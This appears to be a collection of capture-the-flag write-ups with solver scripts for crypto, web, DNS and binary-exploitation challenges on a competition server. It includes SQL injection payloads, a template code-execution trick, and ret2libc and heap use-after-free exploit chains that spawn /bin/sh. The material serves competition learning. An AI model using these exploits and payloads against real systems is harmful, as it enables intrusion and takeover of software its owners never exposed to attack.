We are given strange = phi^2 = (pq - p - q + 1)^2 = (p + q - 1)^2 (mod n)
. As the difference between (p + q - 1)^2
and strange
is small multiples of n
, we can bruteforce the difference to recover (p + q - 1)^2
and square root, then calculate phi
to recover the flag.
from math import isqrt
from Crypto.Util.number import long_to_bytes
n = 123478096241280364670962652250405187135677205589718111459493149962577739081187795982860395854714430939628907753414209475535232237859888263943995193440085650470423977781096613357495769010922395819095023507620908240797541546863744965624796522452543464875196533943396427785995290939050936636955447563027745679377
c = 77628487658893896220661847757290784292662262378387512724956478473883885554341297046249919230536341773341256727418777179462763043017367869438255024390966651705078565690271228162236626313519640870358976726577499711921457546321449494612008358074930154972571393221926233201707908214569445622263631145131680881658
strange = 11519395324733889428998199861620021305356608571856051121451410451257032517261285528888324473164306329355782680120640320262135517302025844260832350017955127625053351256653287330703220294568460211384842833586028123185201232184080106340230097212868897257794101622865852490355812546172336607114197297201223620901
for i in range(10):
pq1_sq = strange + i * n
pq1 = isqrt(pq1_sq)
if pq1 ** 2 == pq1_sq:
print(f'{i = }')
phi = n - pq1
d = pow(65537, -1, phi)
flag = pow(c, d, n)
print(long_to_bytes(flag))
break
We can bruteforce shift of each word (separated by _
, ,
and .
) then choose the most meaningful words for each word. The corresponding shift of each word reveal part of the flag.
import string
def caesar(msg, shift):
return ''.join(chars[(chars.index(c) - shift) % len(chars)] for c in msg)
chars = string.ascii_letters + string.digits + '+/='
ct = "AtvDxK lAopjz /i + vhw c6 uwnshnuqjx ymfy kymhi Kyv 47+3l/eh Bs kpfkxkfwcnu Als 9phdgj9 +ka ymzuBGxmFq 6fdglk8i CICDowC, sjxir bjme+pfwfkd 6li=fj=kp, nCplEtGtEJ, lyo qeb INKLNBM vm ademb7697. ollqba lq DitCmA xzhm fx ef7dd7ii, wIvv eggiww GB kphqtocvkqp, 3d6 MAx ilsplm /d rpfkd vnloov hc nruwtAj xDxyjrx vexliv KyrE +3hc Gurz, jcemgt ixlmgw 9f7gmj5/9k obpmlkpf/ib mzp 8k/=64c ECo sj qb=eklildv. =k loGznlEpD qzC qo+kpm+obk=v, vHEEtuHKtMBHG, huk h7if75j/d9 mofs+=v, zkloh lqAkwCzioqvo rfqnhntzx fhynAnynjx b/a7 JKvrCzEx hexe BE ecwukpi 63c397. MAxLx wypujpwslz 3/c ql irvwhu 9bbcj1h9cb fsi f tswmxmzi zDGrtK ed FBpvrGL vjtqwij ixlmgep 5f8 =lkpqor=qfsb tmowuzs."
ct = ct.replace(' ', ']').replace(',', ']').replace('.', ']')
ct = ct.split(']')
ct = [x for x in ct if x != '']
for block in ct:
for i in range(len(chars)):
val = caesar(block, i)
if any(x not in string.ascii_lowercase for x in val[1:]):
continue
if val[0] not in string.ascii_letters:
continue
print(val, chars[i])
print()
# th3_d1ffer3nce5_m4ke_4ll_th3_diff3renc3
This is an RSA with n being the product of 3 consecutive primes. We can approximate the prime taking cube root of n, and recover all the primes close to it.
from gmpy2 import iroot
from Crypto.Util.number import *
n = 842955733372614455917139215149786367998989408483882136463558684397050826784554405473281404986074268847665022114356876291445365131548244366599468837778869392604574977016160648076231535588793673536845344975989305317758463762079207183948812779114263906518115672167636134526515103825946273073248648502935673944006264386299102933514541941431848389105755893385245141801018951632390644713514409554482089598460289338073545880196262116013551058638687812839058426467147481
c = 178911853582925091074953906180040707693867299041184394859091151823053279374040732087994928027427055516599491017237986483811850621047816908739709787556523375563298051776181108938835938016314409519090707332840179868647993861754529706055629293586699860402875976104999357565613123187491160887851461728095157125430360026065237722011165355477193299183616800218141392989153891385907169749132280406008273086286095580797819646823785791242488773862940145882627972745288524
pp = iroot(n, 3)[0]
primes = []
for i in range(-10000, 10000):
p = pp + i
if n % p == 0:
primes.append(p)
assert len(primes) == 3
p,q,r = primes
phi = (p-1)*(q-1)*(r-1)
e = 65537; d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
We collect multiple messages and signatures, then find small linear combination of these messages via LLL to forge a signature.
from sage.all import *
from hashlib import sha256
from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwnlib.tubes.remote import remote
from pwnlib.tubes.process import process
io = remote('52.59.124.14', 5026)
n = int(io.recvline().decode().strip().split()[-1])
a = int(io.recvline().decode().strip().split()[-1])
e = int(io.recvline().decode().strip().split()[-1])
msgs, sigs = [], []
for _ in range(80):
print(f'{_ = }')
io.sendlineafter(b'> ', b'1')
msg = bytes.fromhex(io.recvline().decode().strip().split()[-1])
msg = bytes_to_long(sha256(msg).digest())
sig = int(io.recvline().decode().strip().split()[-1])
msgs.append(msg)
sigs.append(sig)
io.sendlineafter(b'> ', b'2')
msg = bytes.fromhex(io.recvline().decode().strip().split()[-1])
msg = bytes_to_long(sha256(msg).digest())
L = block_matrix(ZZ, [
[identity_matrix(len(msgs)), column_matrix(msgs)],
[0, msg]
])
for row in L.LLL():
if row[-1] != 0:
continue
v1 = vector(ZZ, row[:-1])
v2 = vector(ZZ, msgs)
val = v1 * v2
if val not in [-msg, msg]:
continue
if val == -msg:
row = [-int(x) for x in row]
print(f'{row = }')
target_sig = prod([pow(x, y, n) for x, y in zip(sigs, row[:-1])])
target_sig %= n
print(pow(target_sig, e, n), pow(a, msg, n))
io.sendlineafter(b': ', str(target_sig).encode())
io.interactive()
break
This is a combination of 5 smaller RSA challenges. The vulnerability and solution for each part is:
c1 = m1^3
is smaller than n
, so we can recover m1
by taking cube root of c1
,c2 = (m2 * r)^3
, so we can recover m2^3 = c2 * r^(-3)
, then take cube root to find m2
,c3 = (m3 * 256^493)^3
, the same as problem 2,c4 = (m3 * r2)^3
where r2 = 1 + 256^18 + 256^36 + ... + 256^486
, same as problem 2,c5 = (m0 * 256^17 + m5)^3
where m0 = bytes_to_long(b'\x42' * 494)
and m5
is only 17 bytes, so use Coppersmith to recover m5
.
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.all import *
def fr(x, n):
return Integer(x).nth_root(n, truncate_mode=True)[0]
with open('pubkey.pem', 'rb') as f:
key = RSA.import_key(f.read())
n, e = key.n, key.e
with open('output', 'r') as f:
cts = list(map(int, f.read().splitlines()))
c1, c2, c3, c4, c5 = cts
m1 = long_to_bytes(fr(c1, 3))
print(m1)
r = 688234005348009046360676388021599552323079007705479727954148955984833460337936950913921276804334830417982234720038650432729780498514155995618937412575604196815690605161835755609341381092145548153312943119696398326144902639226831471200542337105282064399184931676924592908530791494346900227871404063095592748764296028255530577278656680463782655139421219302422899667665339277824718421901831817043159552132252016945226370677278067424506514993298100924479619565269428391036310378044733517453768164252655931111202089432697078947184486267865943138659836155939343134738408972426979329158506027280653209318479413895259774319848662706808171929571545923310500352950348748809789292920278241362015278963315481777028997344480172010960294002098578989469089294022590134823913936869548907125294447477430739096767474026401347928008150737871869441842515706902681140123776591020038755234642184699856517326004574393922162918839396336541620212296870832659576195010466896701249003808553560895239860454162846759635434691728716499056221797005696650174933343585361153344017021747827389193405667073333443569659567562247406283282451284155149780737904760989910944550499316655128394899229284796584787198689342431338201610314893908441661953172106881929330452489260
r_cubed = pow(r, 3, n)
inv_r_cubed = pow(r_cubed, -1, n)
m2_cubed = (c2 * inv_r_cubed) % n
m2 = long_to_bytes(fr(m2_cubed, 3))
print(m2)
m3 = c3 * pow(256, -(511 - 18) * 3, n) % n
m3 = long_to_bytes(fr(m3,3))
print(m3)
step = 256 ** 18
t = step
k = 1
for i in range(27):
k += step
step = step * t % n
k %= n
m4 = c4 * pow(k, -3, n) % n
m4 = fr(m4, 3)
m4 = long_to_bytes(m4)
print(m4)
P = PolynomialRing(Zmod(n), 'x')
x = P.gen(0)
f = (bytes_to_long(b'\x42' * 494) * 256 ** 17 + x) ** 3 - c5
m5 = long_to_bytes(int(f.small_roots(X = 256 ** 17, epsilon = 0.1)[0]))
flag = m1 + m2 + m3 + m4 + m5
print(flag)
We can recover multiples of m
by getting 3 consecutive states s0, s1, s2
=> k * m = s0 ** 3 * s2 - s1 ** 4
. By constantly sending head
, praying to get 4 consecutive states, we can firmly recover m = gcd(s0 ** 3 * s2 - s1 ** 4, s1 ** 3 * s3 - s2 ** 4)
. Then a = s1 * s0 ^ -3 (mod m)
. After that we can know the next state of RNG, bet all the money each time and get the flag.
from pwnlib.tubes.remote import remote
from math import gcd
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
import math
import os
class CRG(object):
def __init__(self, n):
self.n = n
self.m = getRandomNBitInteger(n)
while True:
self.a = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes
if math.gcd(self.a, self.m) == 1: break
while True:
self.state = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes
if math.gcd(self.state, self.m) == 1: break
self.buffer = []
def next(self):
if self.buffer == []:
self.buffer = [int(bit) for bit in bin(self.state)[2:].zfill(self.n)]
self.state = self.a * pow(self.state, 3, self.m) % self.m
return self.buffer.pop(0)
while True:
io = remote("52.59.124.14", 5032)
bits = []
try:
for _ in range(256):
line = io.recvuntil(b')', timeout=1)
balance = int(line.decode().strip().split()[-1][:-1])
if line == b'':
break
io.sendline(b'1')
io.sendlineafter(b'?\n', b'head')
if b'win' in io.recvline():
bits.append('0')
else:
bits.append('1')
break
except EOFError:
print(f'{_ = }')
io.close()
continue
s1 = int(''.join(bits[:64]), 2)
s2 = int(''.join(bits[64:128]), 2)
s3 = int(''.join(bits[128:192]), 2)
s4 = int(''.join(bits[192:]), 2)
m = gcd(s1 ** 3 * s3 - s2 ** 4, s2 ** 3 * s4- s3 ** 4)
print(f'{balance = }')
print(m.bit_length())
print(m)
crg = CRG(64)
crg.m = m
crg.a = s2 * pow(s1, -3, m) % m
crg.state = (crg.a * pow(s4, 3, m)) % m
coin = [b'head',b'tails']
for _ in range(30 - int(math.log2(balance))):
line = io.recvuntil(b')')
balance = int(line.decode().strip().split()[-1][:-1])
print(f'{balance = }')
io.sendline(str(balance).encode())
io.sendlineafter(b'?\n', coin[crg.next()])
io.recvline()
io.interactive()
Data from pcap:
Then problem can be simplified as below.
import numpy as np
from numpy._typing import NDArray
from gmpy2 import mpz
from typing import Any
def mpow(a: NDArray[Any], e: int, p: mpz):
n = a.shape[0]
c: NDArray[Any] = np.identity(n, dtype=object) // mpz(1)
for i in range(e.bit_length(), -1, -1):
c = (c @ c) % p
if e & (1 << i):
c = (c @ a) % p
return c
p = 15021738631187083129
G = [[8250369131483783446, 7636514724226618982, 13561904710751379340,
8146037206883500564],
[4902910229653653467, 12309994425856150343, 6519431793637084561,
826765390730273580],
[2293357986500986599, 3690712216774893256, 11221411595572149696,
6189443780743823928],
[4526003812557694577, 7070010165244546540, 2773849016628162168,
2528664545234724542]]
gorder = 48565318389923
A = [[7124857170442510436, 7098435244666432569, 5016319597248544408,
3368576660349080409],
[12766102894582816521, 1075168896515869195, 14940230223165707555,
13504245377824841154],
[11005568719346427939, 6351117183900723198, 10504073690105660358,
765373031704381609],
[4023860825601216122, 3960044495923291791, 14945314474664374706,
7318239600236598642]]
B = [[1282048969185546964, 12109372559076385336, 11131078763121815969,
8203066951109241796],
[13898425777031025196, 3180683801097577414, 4159815335494956274,
12490188080505436469],
[14804946988255087504, 14855384714399608402, 3036218738870877096,
2244875398266900486],
[11575966103907984574, 12991978517385440219, 8781891936464379787,
3191347143541874873]]
iv = bytes.fromhex('b90605c70dc5e0d4d2ab458c93ca3e2c')
cipher = bytes.fromhex('d772586e1e1ff88b5fbdc2a2f742d6c8fc517acc1d76ce38052db1aa266850cd264232b7d90d283a1d237a6f97d6558f')
We have:
Where
To decrypt the cipher text we need to find
The order is 46 bits , so dlog easily found using baby step gaint step algorithm.
a = 14694400667272
Now decrypt:
Key = mpow(B, a, p)
Decrypt the AES with this shared key to get the flag.
Key is hardcoded, so we can just use the C impelmentation of SpeckCipher and multithreading to brute force all 2^32 possibilities of k1 super fast and recover k2 along with it.
#include "speck.h"
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#define NUM_THREADS 20 // Number of threads to use
#define GOAL_AAAA 0x0edb0e75 // replace this after connecting to remote
#define GOAL_BBBB 0x92746e5c // replace this after connecting to remote
#define GOAL_CCCC 0xa0ad757a // replace this after connecting to remote
#define AAAA_INT 0x41414141
#define BBBB_INT 0x42424242
#define CCCC_INT 0x43434343
static SimSpk_Cipher speck;
uint8_t init_speck() {
uint8_t IV[] = {0, 0, 0, 0};
uint8_t counter[] = {0, 0, 0, 0};
uint64_t u64_key = 0x0123456789abcdef;
uint8_t *speck64_32_key = (uint8_t*)&u64_key;
return Speck_Init(&speck, cfg_64_32, ECB, speck64_32_key, IV, counter);
}
void F(const uint8_t *block, uint8_t *out) {
Speck_Encrypt(speck, block, out);
}
typedef struct {
uint64_t start;
uint64_t end;
int thread_id;
} ThreadData;
void* thread_func(void* arg) {
ThreadData* data = (ThreadData*)arg;
uint8_t ciphertext_buffer[16];
for (uint64_t i = data->start; i < data->end; ++i) {
uint8_t* buf = (uint8_t*)&i;
F(buf, ciphertext_buffer);
uint32_t expected_k1 = (uint32_t)i ^ AAAA_INT;
uint32_t expected_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_AAAA;
uint32_t expected_bbbb_xor = BBBB_INT ^ expected_k1;
buf = (uint8_t*)&expected_bbbb_xor;
F(buf, ciphertext_buffer);
uint32_t result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_BBBB;
if (result_k2 != expected_k2)
continue;
uint32_t expected_cccc_xor = CCCC_INT ^ expected_k1;
buf = (uint8_t*)&expected_cccc_xor;
F(buf, ciphertext_buffer);
result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_CCCC;
if (result_k2 == expected_k2)
{
FILE* fp = fopen("FOUND.txt", "w");
fprintf(fp, "FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2);
printf("FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2);
fclose(fp);
pthread_exit(NULL);
}
/*if (i % 0x100000 == 0) {
printf("Thread %d at %#lx (%.2f%%)\n", data->thread_id, i, (i - data->start) * 100.0 / (data->end - data->start));
}*/
}
printf("Thread %d done\n");
// fclose(fp);
pthread_exit(NULL);
}
int main(void) {
init_speck();
pthread_t threads[NUM_THREADS];
ThreadData thread_data[NUM_THREADS];
uint64_t range = UINT32_MAX / NUM_THREADS;
for (int i = 0; i < NUM_THREADS; ++i) {
thread_data[i].start = i * range;
thread_data[i].end = (i + 1) * range;
thread_data[i].thread_id = i;
pthread_create(&threads[i], NULL, thread_func, (void*)&thread_data[i]);
}
for (int i = 0; i < NUM_THREADS; ++i) {
pthread_join(threads[i], NULL);
}
return 0;
}
Bcrypt default only handles data up to 72 characters. Since the author give us 71 characters we just need to bruteforce 1 more character
import bcrypt
import urllib.parse
ADMIN_PW_HASH = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK'
a = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76'
for i in range(0, 256):
password = a + bytes([i])
if bcrypt.checkpw(password, ADMIN_PW_HASH):
print(urllib.parse.quote(password))
break
#ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}
The challenge wants a password such that:
password != "AdM1nP@assW0rd!"
crc16(password) == crc16("AdM1nP@assW0rd!")
crc8(password) == crc8("AdM1nP@assW0rd!")
Simply bruteforces the password using os.urandom(len("AdM1nP@assW0rd!"))
:
import os, requests
def crc16(string):
crc = 0xFFFF
for char in string:
crc = crc ^ char
for _ in range(8):
if (crc & 0x0001) == 0x0001:
crc = ((crc >> 1) ^ 0xA001)
else:
crc = crc >> 1
return crc
def crc8(input_data):
crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]
byte_array = input_data
crc = 0
for byte in byte_array:
crc = crc8_table[(crc ^ byte) & 0xff]
return crc & 0xff
admin_pass = b"AdM1nP@assW0rd!"
l = len(admin_pass)
target1 = crc16(admin_pass)
target2 = crc8(admin_pass)
while True:
password = os.urandom(l)
if crc16(password) == target1 and crc8(password) == target2:
print(password)
print(requests.post("http://52.59.124.14:5006/", data={"password": password}).text)
break
Flag: ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}
Since there's a 4 letters limit for each number
Enter 1e19 so that it gets overflow to 9223372036854775807 (2 ^ 63 - 1)
Add 1 and it becomes 2 ^ 63
thus flipping the sign bit and we get a negative number -9223372036854775808
Submit [1e19, 1]
and win a flag:
Flag: ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}
There are only 10 patterns that can be used as a seed for mt_srand
. Use the following code to get all the values for session ID.
import hashlib
import string
import requests
URL = "http://52.59.124.14:5008/"
s = requests.session()
d = {}
for c in string.ascii_letters:
hash = hashlib.md5(f'y{c}'.encode()).hexdigest()
if hash[0] not in '6' or hash[0] in d:
continue
data = {
"username": "y",
"password": c
}
r = s.post(URL, data=data)
print(r.status_code)
d[hash[0]]=s.cookies['PHPSESSID']
print(d)
Then, brute all 4 letters to find the content.
<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
$target = 'a-jtqk69cb';
$alphas = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~";
$chars = str_split($alphas);
$len = count($chars);
for ($i = 0; $i < $len; $i++) {
echo $chars[$i]. "\n";
for ($j = 0; $j < $len; $j++) {
for ($k = 0; $k < $len; $k++) {
for ($l = 0; $l < $len; $l++) {
$x = $chars[$i] . $chars[$j] . $chars[$k] . $chars[$l];
mt_srand(intval(bin2hex($x),16));
$id = "";
for($m=0;$m<10;$m++) {
$id .= ALPHA[mt_rand(0,count(ALPHA)-1)];
}
if ($id == $target) {
echo $x. "\n";
echo $target . "\n";
break;
}
}
}
}
}
# ENO{SOME_SUPER_SECURE_FLAG_1333337_H
Since the server use web.py lib and that lib has a option that execute code we can use this to manipulate the data return when the template is rendered
import web
import urllib.parse
temptation = """
$code:
return "F"+"LAG"
"""
print(urllib.parse.quote(temptation))
try:
temptation = web.template.Template(f"Your temptation is: {temptation}")()
print(temptation)
except Exception as e:
print(e)
#ENO{T3M_Pl4T_3S_4r3_S3cUre!!}
SQL injection in $max and $min variables simply set min=2-1 and max=10
The payload would be like this p=2-1,10
Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}
Use blind SQL injection to determine the table name, table schema. Then, becuase there are only 2 fields in flag
table, use UNION SELECT * FROM flag
to get the flag.
import requests
import string
URL = "http://52.59.124.14:5015/"
s = requests.session()
def query(q: str,s):
print(q)
x = f"2 AND {q}"
r = s.get(URL, params={
"p": "2," + x
})
return "Page 2" in r.text
# known = ""
# while True:
# for c in string.printable:
# # cur = (known + c).replace("_", "\\_").replace("%", "\\%")
# cur = (known + c)
# if query(f"(SELECT count(*) FROM sqlite_master WHERE tbl_name ='flag' AND sql LIKE '{cur}%')>0", s):
# print(cur)
# known = known + c
# break
r = s.get(URL, params={
"p": "2,2 UNION SELECT * FROM flag"
})
print(r.text)
dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX
; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2161
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ZONEy.eno. IN MX
;; ANSWER SECTION:
ZONEy.eno. 7200 IN MX 10 challenge.ZONEy.eno.
;; AUTHORITY SECTION:
ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.
ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.
;; ADDITIONAL SECTION:
challenge.ZONEy.eno. 7200 IN A 127.0.0.1
ns1.ZONEy.eno. 7200 IN A 127.0.0.1
ns2.ZONEy.eno. 7200 IN A 127.0.0.1
;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 18:52:45 IST 2025
;; MSG SIZE rcvd: 148
dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC
; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31579
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;challenge.ZONEy.eno. IN NSEC
;; ANSWER SECTION:
challenge.ZONEy.eno. 86400 IN NSEC hereisthe1337flag.zoney.eno. A RRSIG NSEC
;; AUTHORITY SECTION:
ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.
ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.
;; ADDITIONAL SECTION:
ns1.ZONEy.eno. 7200 IN A 127.0.0.1
ns2.ZONEy.eno. 7200 IN A 127.0.0.1
;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 19:18:00 IST 2025
;; MSG SIZE rcvd: 165
dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt
; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18707
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;hereisthe1337flag.zoney.eno. IN TXT
;; ANSWER SECTION:
hereisthe1337flag.zoney.eno. 7200 IN TXT "ENO{1337_Fl4G_NSeC_W4LK3R}"
;; AUTHORITY SECTION:
zoney.eno. 7200 IN NS ns1.zoney.eno.
zoney.eno. 7200 IN NS ns2.zoney.eno.
;; ADDITIONAL SECTION:
ns1.zoney.eno. 7200 IN A 127.0.0.1
ns2.zoney.eno. 7200 IN A 127.0.0.1
;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 19:20:07 IST 2025
;; MSG SIZE rcvd: 163
simple ret2libc overflow. first there is a formatstring bug which i used to leak got.printf
then used the subsiquent bufferoverflow to system("/bin/sh")
#!/bin/python3
from pwn import *
context.arch = 'amd64'
elf = ELF("./hateful_patched")
rop = ROP(elf)
# gadgets
# payload
pld = b"%7$sABCD"+ pack(elf.symbols['got.printf'])
p = process("./hateful_patched")
p.sendlineafter(b"nay)\n", b"yay")
p.sendlineafter(b">> ", pld)
p.recvuntil(b"email provided: ")
data = p.recvuntil(b"ABCD")[:-4]
printf_leak = u64(data.ljust(8, b'\x00'))
log.info(f"printf leak: {hex(printf_leak)}")
# libc leak
libc = ELF("./libc.so.6")
libc.address = printf_leak - libc.symbols['printf']
log.info(f"libc leak: {hex(libc.address)}")
# 0x0000000000086570: pop rdi; ret;
# 0x0000000000026e99: ret;
chain = [
libc.address + 0x0000000000086570, # pop rdi; ret;,
libc.search(b"/bin/sh").__next__(), # arg1
libc.address + 0x0000000000026e99, # ret; # align stack
libc.symbols['system'] # ret2libc
]
pld = b"A"*0x3f0 + b"B"*8 + b"".join([pack(x) for x in chain])
p.sendlineafter(b"!\n", pld)
# system leak
p.interactive()
there was a stack leak provided for us for free in the challenge it was probabily not needed and i think i ended up taking the longer route due to this. so we have a use after bug that allows us to read and write to heap chunks even after they are free.
system("/bin/sh")
solver.start()
menu(0)
pr("up to ")
line = pr().decode("latin")
stack = int(line.split(" ")[0])
solver.stack_leak = stack
large_chunk = malloc(0x800)
guard = malloc(0x28)
free(large_chunk)
libc_leak = read(large_chunk)
large_chunk = malloc(0x800)
libc_leak = solver.dpaddr(libc_leak, 0, True) - 0x240
solver.libc.init_base(libc_leak, "_IO_2_1_stdin_")
c1 = malloc(0x108)
c2 = malloc(0x108)
c3 = malloc(0x108)
free(c1)
free(c2)
data = read(c1).decode("latin")
heap_key = solver.dpaddr(data, 0, True)
heap_leak = heap_key * 0x1000
print(hex(heap_leak))
stack = solver.stack_leak
stack += -4 + 0x10
edit(c2, pack(stack ^ (heap_key)))
c2_2 = malloc(0x108)
print(hex(stack))
chain = [
pack(libc.gadgets("pop rdi;ret")),
pack(libc.binsh),
pack(libc.gadgets("ret",200)),
libc.symP("system")
]
pld = b"AAAAAAAA" + b"".join(chain)
# input()
stack_leak = malloc(0x108, pld, raw=True)
This is an ELF requiring guessing the correct hero out of 20 heros for 50 times. Since it uses the c random with current time as the seed, we can set the seed and predict the exact random number generated and thus the hero.
from pwn import *
import time
from ctypes import CDLL
from ctypes.util import find_library
libc = CDLL(find_library("c"))
# Set up pwntools for the correct architecture
exe = './mr_unlucky'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
context.terminal = "cmd.exe /c start wsl".split()
heroes = [
"Anti-Mage",
"Axe",
"Bane",
"Bloodseeker",
"Crystal Maiden",
"Drow Ranger",
"Earthshaker",
"Juggernaut",
"Mirana",
"Morphling",
"Phantom Assassin",
"Pudge",
"Shadow Fiend",
"Sniper",
"Storm Spirit",
"Sven",
"Tiny",
"Vengeful Spirit",
"Windranger",
"Zeus",
]
io = remote('52.59.124.14', 5021)
io.recvuntil(b'me guess the names?')
libc.srand(int(time.time()))
for _ in range(50):
name = heroes[libc.rand() % 20]
io.sendlineafter(b'!!!): ', name.encode())
print(io.recvall())
io.close()
To make this easier to rev, you can compile the program with wat2wasm then decompile it to human readable code with the ghidra plugin. Once we can properly analyze the code, we can see that it's a simple program that will give hardcoded responses to certain inputs we pass it. There's a special debug
